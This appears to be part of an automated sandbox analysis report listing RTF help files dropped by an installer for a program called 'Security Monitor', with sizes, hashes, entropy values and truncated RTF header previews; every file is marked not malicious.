Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff-10\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-V6A58.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66194
Entropy (8bit):	4.972115474061052
Encrypted:	false
SSDEEP:	768:q4Fkex1eiCUYvmpNM2UrPGsGx7TYlDidldgOQrrFlEoIeRWeWyWVWAWJHZIWRWe0:q4vsLIA9i
MD5:	6181F9D5B81EC15F49F57FCFABF69562
SHA1:	451D5FBDF90E8CD153DC5990092613901D084CD1
SHA-256:	442E6A351381A56F912F0A68036C868F60D45117C92C9C2225948AC614DF7416
SHA-512:	5F5C61E9995C9081CFC0F97E857B5D67E45A1A6FD0796927AE694E25E41A50129E1952B19CF9A40A325A23137732465A718B1282C23688093160A0FF604BB124
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45730
Entropy (8bit):	5.0380816279242895
Encrypted:	false
SSDEEP:	768:qqXQUx1e8Ca9DGi3w2EHnT2njX8x3FA5xr7YZhZOZiZFs7tAZkjCfbH1Yvv71KDH:qqAGeCIA9+
MD5:	BDBE095C7A0E96988B0CF67900DC1BEA
SHA1:	D2FDD08E37CDD417C3CD03A0432CDD50405DA76D
SHA-256:	EA0ADE471AA7488DF2B2589410D86472EDDDEC744B1F61ADE5347E9E3A297DD9
SHA-512:	87C1513C522958F71339D363324B0B5A439E090478D5D235444E329CCB611ED88B8AA186BBFA91B3D4DC576022CD62AEBC2019149A80073BF6CE37670EC4ACAD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pa

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50474
Entropy (8bit):	5.02065375573397
Encrypted:	false
SSDEEP:	768:q4Fk5e0/qCdXF2njX8x3l7G5V5V5h5G5P5N58JCxCIWC3/OpfVPV0VVqrHLLA2YG:q4bdAc8IA9+
MD5:	9796F2ACB16A082E1398FF7EB812FBF6
SHA1:	3D0439006944B32BA2864A66D50F7BB30857548B
SHA-256:	ACBF9B9D0150B9371E4FC0609F119C77E28F9999F6D30FEE0F1665F6A1116354
SHA-512:	AA0C265F319ED1193E474D23A793C53A697D44B29806EF6EDA7FABF83C597E45F49076D97DB919EC897E9257FCD41AB560A91E50D77EE6148FBA8A6D695DCE8D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56800
Entropy (8bit):	4.971134438284621
Encrypted:	false
SSDEEP:	768:qqe+2VXLHT2njX8x3TLjwUtqYepAkVZEdvI9DhLVtKAn1+kxATfpyuqFnZ8MSqi7:qqqkhLVvIA9S
MD5:	3B8361BD47C4A33C6753ABF66E840953
SHA1:	F47CF562955DAD89D07730162B53A778A9F72AD4
SHA-256:	81FA4579AC6CA95049C34F47439231BE533173F12A63187779B6F3762F648679
SHA-512:	CA1EBC99A888904B1BF43144C75F58FA4A3F2143FB00341E0EEA61B05CDD60E02F7527E4822144A082321CF2C93EEB8F395EA22295B0D3D9EBCBE9D32CE90456
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	73792
Entropy (8bit):	4.964676170455869
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELHT2njX8x3TLjwUtqYepAkVZEdvI9vtjP1KAn1+kxazy9qGZBwnzKul:qqJCFtjPmYeIA9/
MD5:	248443A08A6A0A95E8F172FC20682550
SHA1:	79F8FB1257C4686C4EE643E2FCCE5306D2C7F5BC
SHA-256:	507932E99002CF707D5CBD4355955DB83A13C47C13DF7301E51FCE0BD4A1C75D
SHA-512:	D6AF2CB284B942F818D9FD3949ACBD05A40D72E701B62432F64A7633E8550EDF2CC4F0C2973C784BC0AE6523E25F13729C933DB702C578050BE8BE4B9EC20E1D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\norton_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43992
Entropy (8bit):	5.0490517908671535
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsb5IjTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhbwF4BaA3F1+1h1r1KDIA9z
MD5:	093443BD0007A7BB28B50778BFB43E66
SHA1:	7FC5599F85CEBDA23A323994A57590E14628C84C
SHA-256:	2823645253E4999BA6ED5175DDA4B288C2D01916811294E0E538726BB43952CD
SHA-512:	9A1BB1C996C3B0561B2F1C20D8FB12E3B98322961572803AFFDA7659E024840BA5FD04C53329A443F1C8DB1B16B89CD2E64CCE409AFDBED6139B21F08A65B3C4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42930
Entropy (8bit):	5.0450094413030575
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqyxz/BSKIasAzoBYcXumDpIyZ/6A97:qqraqpIA97
MD5:	DBF71033F406A5C5C9AEA3EC2E669C28
SHA1:	829479F385D2FFC9EFF81C2E3F3543289D64C1B9
SHA-256:	452AA2D29FFC659EF8042B9933B8DD6A7A679E906371F3C5530E740ED0B8605F
SHA-512:	B926A8072DBAF438AC4F1B920D4C7B4A1E16BCD371F904DB429927968D2DA1D4C3ED1517DD7E8D35604911623F86EB4F46A3ADDA56B27BAEB9DB6063CA51BF68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49574
Entropy (8bit):	5.031691924230754
Encrypted:	false
SSDEEP:	768:4qFys4jeDCcJ+r15g5V5V5h5G5P5N5hBcqtqYepn3/xXdQQMQs2YMKBX49nNbaEq:4qYo3CtU7c7KIA9m
MD5:	AEE08B8B9A32D64F630D57580A2D4457
SHA1:	0BD2511BF3C71E549858E1990A07CA29A11A9C8D
SHA-256:	468D9AA761B58B6CCA9C93C271D3B9A3EC96D367019CA53F0579E3A5E87720FE
SHA-512:	16CE81CF5D2A1910E845DC857AEC389ADB9E2A05E262DD47F4285A5BF5EE9A522622484EC9CE875089B1526B0C0A5956A66B858A6A731F33F2BDE6E1FE130A71
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff-10\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66194
Entropy (8bit):	4.972115474061052
Encrypted:	false
SSDEEP:	768:q4Fkex1eiCUYvmpNM2UrPGsGx7TYlDidldgOQrrFlEoIeRWeWyWVWAWJHZIWRWe0:q4vsLIA9i
MD5:	6181F9D5B81EC15F49F57FCFABF69562
SHA1:	451D5FBDF90E8CD153DC5990092613901D084CD1
SHA-256:	442E6A351381A56F912F0A68036C868F60D45117C92C9C2225948AC614DF7416
SHA-512:	5F5C61E9995C9081CFC0F97E857B5D67E45A1A6FD0796927AE694E25E41A50129E1952B19CF9A40A325A23137732465A718B1282C23688093160A0FF604BB124
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	57638
Entropy (8bit):	4.981099786389407
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVRMek4aEqkGBKugOLT7eQk8C/Pr+uPmB35LBUo22xt2VOz:q49OUnWkIA9U
MD5:	DAEEF8D403213DE69003FA2BA7664B93
SHA1:	4A5FE0EE5ACCA61948EDA61062B395F59E224E7F
SHA-256:	635C6F72A6029595AF7922DF53835CE80BF486671E0BE4164D4612F03E993FF4
SHA-512:	5DE410F9C6A4F4A27ED9F456DF9D0D79DF87A21125718CC9B6674B0A4ED686F0630B1BE86A30B787053C3380A24C844899C3CFAA9A4854E72DA803AD673AF92E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	5.036767014333867
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqExwaWxZqEUqCuj8QDe3n3g3/3Z3z3V:qqraqDIA9/
MD5:	7984C74EC410F7A952EBBBB798A09143
SHA1:	10E1E32861C86AA02C81D824CAEEB670DC2FD1F8
SHA-256:	922B12112DE9715D7164050920AE36A5AA44FB3346DF447C6ADB5ADF36483F69
SHA-512:	34B6C3E0E3FADC4AB057411FF42B6DEB01E3B70297A357358BC27E5A5A802D68B50BA01EB1DA42E922B00DA3C0F5E58330F9A751D496E107BBAE0FFC2E2B31BE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44859
Entropy (8bit):	5.042653911286004
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnqdxBBdwwZxsAUtcGuermSShpHlfcXX:qqJ9aqMIA9Z
MD5:	0692A56E310ADDB8AB518DFF420373E6
SHA1:	1855B76BA5A77F96D7ED04FECD78342BB3902517
SHA-256:	821D367CFEC38EEB7BFC2635ECC1B8938802D5D4071AFFA380BF5D3DA32BBA8A
SHA-512:	FE0C99F78A2807F06ECE7E94CFD9EBAD74E65FE2E9A8619D1EB3FD9CA68FA1F80AEA29D7FE1CD0AA7CEC6DD0404070E99FBD1B14DE5409CAB94703B2C679083C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	5.035611454104282
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnq/x7yjxNQwr8AUmQryuj8QDc3n3g3x:qqJ9aqbIA9b
MD5:	EF57D23344C66880C6A38F743FD3FF0E
SHA1:	FC336BCC92580A0D367CB5B3604EE0040CC08492
SHA-256:	E36C9442648C0564C6AD9AC6074EC2B5023BBEBF291708977714AD977DDC1633
SHA-512:	C336736ADD43033E4BEA538EDAD809127C1ECF80DA20FCD3E02065E310919529E44C5CF57D0FD24EA295FAE367BFE7F7C52465E18863D0B2AF37188EA069502F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42784
Entropy (8bit):	5.040903024418766
Encrypted:	false
SSDEEP:	768:qqFkwx1eXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3D5xoYAo79Q88T27Z/6A9I:qqRbnIA9I
MD5:	6A4574B9B32C4BC5A6F9B7825A003942
SHA1:	30BB8557175BD91B06453AA8017FA35754D870C6
SHA-256:	6EB4E3BD1DDD9B08957F4B2EC49482EB8C6A083F812703F28A51EDD2E1B65DCB
